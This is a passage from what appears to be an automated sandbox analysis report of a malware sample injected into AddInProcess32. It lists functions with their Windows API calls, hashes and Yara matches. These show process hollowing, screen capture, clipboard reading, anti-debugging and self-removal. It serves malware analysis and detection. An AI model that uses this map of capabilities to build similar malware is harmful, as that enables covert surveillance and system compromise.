                                                        • Opcode ID: 475d6d5c58d7186cd22417851423cdf86cfe6bc0717def2965f4a7021c27fb53
                                                        • Instruction ID: b0e9e6415e7ea3a3ed95e939ef0edb9d062384d4a1a0bde9f31cc9ceae225fa6
                                                        • Opcode Fuzzy Hash: 475d6d5c58d7186cd22417851423cdf86cfe6bc0717def2965f4a7021c27fb53
                                                        • Instruction Fuzzy Hash: 0211553A2007019FDB189F39C9916BBBB92FF8075AB14482EEE4687B41D7B5A946C740
                                                        Function 00452143 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482F4
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448301
                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452197
                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004521E8
                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004522A8
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorInfoLastLocale$_free$_abort
                                                        • String ID:
                                                        • API String ID: 2829624132-0
                                                        • Opcode ID: 1ce7e7c7dfcd5f502045176aa51a1e3ace1f8c45826c3dbb4c0c9878229dab74
                                                        • Instruction ID: 283aa9570716a6929da4b93cb0bca45b8c77d553a5ebfd19e37a994bad1de6ac
                                                        • Opcode Fuzzy Hash: 1ce7e7c7dfcd5f502045176aa51a1e3ace1f8c45826c3dbb4c0c9878229dab74
                                                        • Instruction Fuzzy Hash: F361A235500207ABDF289F24CE82B7A77A8EF05306F1441BBED05C6656E7BC9D89CB58
                                                        Function 0043BB71 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • IsDebuggerPresent.KERNEL32 ref: 0043BC69
                                                        • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043BC73
                                                        • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC80
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                        • String ID:
                                                        • API String ID: 3906539128-0
                                                        • Opcode ID: 1e0b73e88f7870ac8a7e49df57248e9339733cda2bb7518ac33a0b9eb889d704
                                                        • Instruction ID: 25e88f5a56b9fbea854716c485460a06fbe33a825339a9765be54c88dd7cea35
                                                        • Opcode Fuzzy Hash: 1e0b73e88f7870ac8a7e49df57248e9339733cda2bb7518ac33a0b9eb889d704
                                                        • Instruction Fuzzy Hash: 0431D374901218ABCB21DF65D9887CDBBB8EF0C311F5051EAE81CA7251EB749F818F48
                                                        Function 004338C8 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,?,00433550,00000034,?,?,00000000), ref: 004338DA
                                                        • CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,PkGNG,004335E3,?,?,?), ref: 004338F0
                                                        • CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,PkGNG,004335E3,?,?,?,0041E2E2), ref: 00433902
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Crypt$Context$AcquireRandomRelease
                                                        • String ID:
                                                        • API String ID: 1815803762-0
                                                        • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                                        • Instruction ID: d68cd6f5f98cbfa2ab0450769c499d20ea76a36e668e3df749659bd42d9a4b78
                                                        • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                                        • Instruction Fuzzy Hash: 40E09A31208310FBEB301F21AC08F573AA5EF89B66F200A3AF256E40E4D6A68801965C
                                                        Function 0040B749 Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenClipboard.USER32(00000000), ref: 0040B74C
                                                        • GetClipboardData.USER32(0000000D), ref: 0040B758
                                                        • CloseClipboard.USER32 ref: 0040B760
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Clipboard$CloseDataOpen
                                                        • String ID:
                                                        • API String ID: 2058664381-0
                                                        • Opcode ID: 26d649817908997ada01c7e81b47d9ed8d660a846a8981428adfc510ab3c4a2f
                                                        • Instruction ID: 1c65eecdd0087a0ffd0b0a04a5b63b9ff0c479b34dfa65f2e767e94bdce73387
                                                        • Opcode Fuzzy Hash: 26d649817908997ada01c7e81b47d9ed8d660a846a8981428adfc510ab3c4a2f
                                                        • Instruction Fuzzy Hash: 45E0EC31745320EFC3206B609C49F9B6AA4DF85B52F05443AB905BB2E5DB78CC4086AD
                                                        Function 00434CB6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • IsProcessorFeaturePresent.KERNEL32(0000000A,00000000), ref: 00434CCF
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: FeaturePresentProcessor
                                                        • String ID:
                                                        • API String ID: 2325560087-3916222277
                                                        • Opcode ID: 4259bdeace04940204f61aa74a979230364aaba3051b8f8e0efcae6fb7ed6494
                                                        • Instruction ID: 5e37b39ef68b784d6588b9ddffa6793edf4c3ade0924e8be62ba08be237937aa
                                                        • Opcode Fuzzy Hash: 4259bdeace04940204f61aa74a979230364aaba3051b8f8e0efcae6fb7ed6494
                                                        • Instruction Fuzzy Hash: E4515B71D002488FEB24CF69D98579EBBF4FB88314F24956BD419EB264D378A940CF98
                                                        Function 0044E8F9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: .
                                                        • API String ID: 0-248832578
                                                        • Opcode ID: dab0a497b08e8df346a97c8899a5e14908918034842a488b938a10d87d6eec82
                                                        • Instruction ID: 7baa6cf80f4bdea99dbc4d330b45aada8194c6230f36d830dc1b60d3871032d3
                                                        • Opcode Fuzzy Hash: dab0a497b08e8df346a97c8899a5e14908918034842a488b938a10d87d6eec82
                                                        • Instruction Fuzzy Hash: DF3107B1900259AFEB24DE7ACC84EFB7BBDEB46318F0401AEF41897291E6349D418B54
                                                        Function 004520B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                        • EnumSystemLocalesW.KERNEL32(00452393,00000001,?,?,JD,?,00452734,JD,?,?,?,?,?,00444AED,?,?), ref: 00452102
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                        • String ID: JD
                                                        • API String ID: 1084509184-2669065882
                                                        • Opcode ID: 43afbb6a7401c46fb6bd1099fc40b6d5da7848bdbd3577d5ff827f5c50c4ae4e
                                                        • Instruction ID: 883a99871793c155097d9da94a803295819168bd30f8f35cc04eca091e96b9f4
                                                        • Opcode Fuzzy Hash: 43afbb6a7401c46fb6bd1099fc40b6d5da7848bdbd3577d5ff827f5c50c4ae4e
                                                        • Instruction Fuzzy Hash: E8F0FF363007056FDB245F399881A6B7B96FB82769B04482EFE458B682DAB99C42D604
                                                        Function 0044896D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,?,?,00000004), ref: 004489C0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: InfoLocale
                                                        • String ID: GetLocaleInfoEx
                                                        • API String ID: 2299586839-2904428671
                                                        • Opcode ID: 110c46932bfbdc71483985bf7c59ae7b5a80d23a28ef7d8b7feaf75df53ed1b9
                                                        • Instruction ID: 58f0578312c774904006f9ed4749830948a62bec6dc8fde4d932476f73229d15
                                                        • Opcode Fuzzy Hash: 110c46932bfbdc71483985bf7c59ae7b5a80d23a28ef7d8b7feaf75df53ed1b9
                                                        • Instruction Fuzzy Hash: C0F0F631640608FBDB016F61DC06F6E7B25EB04751F00056EFC0966251DE368D2096DE
                                                        Function 004120B2 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F72,?,?,?,?,00000000), ref: 00412122
                                                        • HeapFree.KERNEL32(00000000,?,?,?,?,00000000), ref: 00412129
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Heap$FreeProcess
                                                        • String ID:
                                                        • API String ID: 3859560861-0
                                                        • Opcode ID: 95356b50ae1c40d028bb7c10486cf6eec28d3cbd66e590edfc92b155960a397c
                                                        • Instruction ID: dd486cb6b879bf1be37f4e59d5b3b18419fca2aff5c7e471244091183f2ba527
                                                        • Opcode Fuzzy Hash: 95356b50ae1c40d028bb7c10486cf6eec28d3cbd66e590edfc92b155960a397c
                                                        • Instruction Fuzzy Hash: 0D113632000B11AFC7309F54DE85957BBEAFF08715305892EF29682922CB75FCA0CB48
                                                        Function 00452393 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482F4
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448301
                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004523E7
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast$_free$InfoLocale_abort
                                                        • String ID:
                                                        • API String ID: 1663032902-0
                                                        • Opcode ID: b4047fd74fafd511f87100a415ff7352fa71784cc782813174b617cf7262d9f7
                                                        • Instruction ID: 2d4dd0c1c30cd12b50dfb53a4a1f7f5f9091958bb121381f53cce851c87d7921
                                                        • Opcode Fuzzy Hash: b4047fd74fafd511f87100a415ff7352fa71784cc782813174b617cf7262d9f7
                                                        • Instruction Fuzzy Hash: F921D632600606ABDB249F25DD41FBB73A8EB06316F10407FED01D6152EBBC9D48CB59
                                                        Function 004525C3 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                        • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00452361,00000000,00000000,?), ref: 004525EF
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast$InfoLocale_abort_free
                                                        • String ID:
                                                        • API String ID: 2692324296-0
                                                        • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                                                        • Instruction ID: 8c29d710edde3bbc403447a64c1727e90569dbd09ff88c71ffccea9529c81983
                                                        • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                                                        • Instruction Fuzzy Hash: C4F04936A00116BBDB245A24D905BBF7B58EB01315F04446BEC05A3241FAF8FD058694
                                                        Function 0041B69E Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetUserNameW.ADVAPI32(?,0040F25E), ref: 0041B6D3
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: NameUser
                                                        • String ID:
                                                        • API String ID: 2645101109-0
                                                        • Opcode ID: 6f8df8ca086827d3b7a07e2ceec29cc063485458526563a8914dedb1098b546b
                                                        • Instruction ID: 8360233331794fbd8bccde093e114755ab2a7c2896376219b9d5f45c8fb32f7b
                                                        • Opcode Fuzzy Hash: 6f8df8ca086827d3b7a07e2ceec29cc063485458526563a8914dedb1098b546b
                                                        • Instruction Fuzzy Hash: 90014F7190011CABCB01EBD1DC45EEDB7BCAF44309F10016AB505B21A1EFB46E88CBA8
                                                        Function 00448484 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00445909: EnterCriticalSection.KERNEL32(?,?,0044305C,00000000,0046E938,0000000C,00443017,?,?,?,00445BA7,?,?,0044834A,00000001,00000364), ref: 00445918
                                                        • EnumSystemLocalesW.KERNEL32(0044843E,00000001,0046EAE0,0000000C), ref: 004484BC
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CriticalEnterEnumLocalesSectionSystem
                                                        • String ID:
                                                        • API String ID: 1272433827-0
                                                        • Opcode ID: 08771b5932cf67d2f7a499a1ea32343f451e1cff339441a182db03018af17ba2
                                                        • Instruction ID: 901ea181f65c0ebd25502bb0be635eecd519ab6688482fb1bf3a60b9f01fb263
                                                        • Opcode Fuzzy Hash: 08771b5932cf67d2f7a499a1ea32343f451e1cff339441a182db03018af17ba2
                                                        • Instruction Fuzzy Hash: 37F04F76A50200EFEB00EF69D946B4D37E0FB04725F10446EF514DB2A2DB7899809B49
                                                        Function 00451FD0 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                        • EnumSystemLocalesW.KERNEL32(00451F27,00000001,?,?,?,00452792,JD,?,?,?,?,?,00444AED,?,?,?), ref: 00452007
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                        • String ID:
                                                        • API String ID: 1084509184-0
                                                        • Opcode ID: 06cdaad2b1dd0330ee545a4703de2c72ad4f4425d90ac6c7aa7d45dfeb8c5d5b
                                                        • Instruction ID: 16a122e2f6617649f53ffd93528404cf76eb0d70ff9257d35f530b0535ef024d
                                                        • Opcode Fuzzy Hash: 06cdaad2b1dd0330ee545a4703de2c72ad4f4425d90ac6c7aa7d45dfeb8c5d5b
                                                        • Instruction Fuzzy Hash: 84F0203630020597CB04AF75D845B6A7F90EB82729B06009AFE058B6A2C7799842C754
                                                        Function 0040F90C Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,00415537,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.1.3 Pro), ref: 0040F920
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: InfoLocale
                                                        • String ID:
                                                        • API String ID: 2299586839-0
                                                        • Opcode ID: 60ac6b383c0d02c34bbf412ad9b051435ec7f82dc161eda072fb95a07eb92a85
                                                        • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                                                        • Opcode Fuzzy Hash: 60ac6b383c0d02c34bbf412ad9b051435ec7f82dc161eda072fb95a07eb92a85
                                                        • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                                                        Function 00434BD8 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetUnhandledExceptionFilter.KERNEL32(Function_00034BE4,0043490B), ref: 00434BDD
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExceptionFilterUnhandled
                                                        • String ID:
                                                        • API String ID: 3192549508-0
                                                        • Opcode ID: 2ffe05228c785604148d814c7fc250910b5f8136668f43492b8067ac5164d55b
                                                        • Instruction ID: 702e07acd891e046c8aea5fc6397425f5e3bd38ef0af78e1c7fed93ac6412050
                                                        • Opcode Fuzzy Hash: 2ffe05228c785604148d814c7fc250910b5f8136668f43492b8067ac5164d55b
                                                        • Instruction Fuzzy Hash:
                                                        Function 00418EB1 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418ECB
                                                        • CreateCompatibleDC.GDI32(00000000), ref: 00418ED8
                                                          • Part of subcall function 00419360: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419390
                                                        • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F4E
                                                        • DeleteDC.GDI32(00000000), ref: 00418F65
                                                        • DeleteDC.GDI32(00000000), ref: 00418F68
                                                        • DeleteObject.GDI32(00000000), ref: 00418F6B
                                                        • SelectObject.GDI32(00000000,00000000), ref: 00418F8C
                                                        • DeleteDC.GDI32(00000000), ref: 00418F9D
                                                        • DeleteDC.GDI32(00000000), ref: 00418FA0
                                                        • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418FC4
                                                        • GetIconInfo.USER32(?,?), ref: 00418FF8
                                                        • DeleteObject.GDI32(?), ref: 00419027
                                                        • DeleteObject.GDI32(?), ref: 00419034
                                                        • DrawIcon.USER32(00000000,?,?,?), ref: 00419041
                                                        • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 00419077
                                                        • GetObjectA.GDI32(00000000,00000018,?), ref: 004190A3
                                                        • LocalAlloc.KERNEL32(00000040,00000001), ref: 00419110
                                                        • GlobalAlloc.KERNEL32(00000000,?), ref: 0041917F
                                                        • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004191A3
                                                        • DeleteDC.GDI32(?), ref: 004191B7
                                                        • DeleteDC.GDI32(00000000), ref: 004191BA
                                                        • DeleteObject.GDI32(00000000), ref: 004191BD
                                                        • GlobalFree.KERNEL32(?), ref: 004191C8
                                                        • DeleteObject.GDI32(00000000), ref: 0041927C
                                                        • GlobalFree.KERNEL32(?), ref: 00419283
                                                        • DeleteDC.GDI32(?), ref: 00419293
                                                        • DeleteDC.GDI32(00000000), ref: 0041929E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                                                        • String ID: DISPLAY
                                                        • API String ID: 479521175-865373369
                                                        • Opcode ID: a3a4741cb06b3bb280ebd52fb29a8cd3e9580c118e1ba6673d441af15fd395ed
                                                        • Instruction ID: e1b8f987aa81746083de8242de432fb1856ba331ec6d7e725e66c1191a76d441
                                                        • Opcode Fuzzy Hash: a3a4741cb06b3bb280ebd52fb29a8cd3e9580c118e1ba6673d441af15fd395ed
                                                        • Instruction Fuzzy Hash: 64C14C71504301AFD720DF25DC48BABBBE9EB88715F04482EF98993291DB34ED45CB6A
                                                        Function 0041812A Relevance: 49.3, APIs: 22, Strings: 6, Instructions: 289libraryloaderthreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418171
                                                        • GetProcAddress.KERNEL32(00000000), ref: 00418174
                                                        • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 00418185
                                                        • GetProcAddress.KERNEL32(00000000), ref: 00418188
                                                        • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 00418199
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041819C
                                                        • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 004181AD
                                                        • GetProcAddress.KERNEL32(00000000), ref: 004181B0
                                                        • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418252
                                                        • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041826A
                                                        • GetThreadContext.KERNEL32(?,00000000), ref: 00418280
                                                        • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 004182A6
                                                        • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00418328
                                                        • TerminateProcess.KERNEL32(?,00000000), ref: 0041833C
                                                        • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 0041837C
                                                        • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00418446
                                                        • SetThreadContext.KERNEL32(?,00000000), ref: 00418463
                                                        • ResumeThread.KERNEL32(?), ref: 00418470
                                                        • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00418487
                                                        • GetCurrentProcess.KERNEL32(?), ref: 00418492
                                                        • TerminateProcess.KERNEL32(?,00000000), ref: 004184AD
                                                        • GetLastError.KERNEL32 ref: 004184B5
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                                        • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$`#v$ntdll
                                                        • API String ID: 4188446516-108836778
                                                        • Opcode ID: 270f6f13d6fde63ba60b02dc59acd4711bf4d0802e0e8c14fb5fe4b704ceb149
                                                        • Instruction ID: d7ba82c79e3f17b97bd8f2c1aaed993f07984c16d96ff77cb9dc1491e823fc6f
                                                        • Opcode Fuzzy Hash: 270f6f13d6fde63ba60b02dc59acd4711bf4d0802e0e8c14fb5fe4b704ceb149
                                                        • Instruction Fuzzy Hash: 69A15FB0604305AFDB209F64DD85B6B7BE8FF48705F00482EF685D6291EB78D844CB59
                                                        Function 0040D45B Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0041288B: TerminateProcess.KERNEL32(00000000,?,0040D84A), ref: 0041289B
                                                          • Part of subcall function 0041288B: WaitForSingleObject.KERNEL32(000000FF,?,0040D84A), ref: 004128AE
                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D558
                                                        • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D56B
                                                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D584
                                                        • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D5B4
                                                          • Part of subcall function 0040B8E7: TerminateThread.KERNEL32(0040A2B8,00000000,00000000,?,0040D47D,?,00000000), ref: 0040B8F6
                                                          • Part of subcall function 0040B8E7: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B902
                                                          • Part of subcall function 0040B8E7: TerminateThread.KERNEL32(0040A2A2,00000000,?,0040D47D,?,00000000), ref: 0040B910
                                                          • Part of subcall function 0041C482: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C5A1,00000000,00000000,00000000), ref: 0041C4C1
                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466478,00466478,00000000), ref: 0040D7FF
                                                        • ExitProcess.KERNEL32 ref: 0040D80B
                                                        Strings
                                                        Memory Dump Source
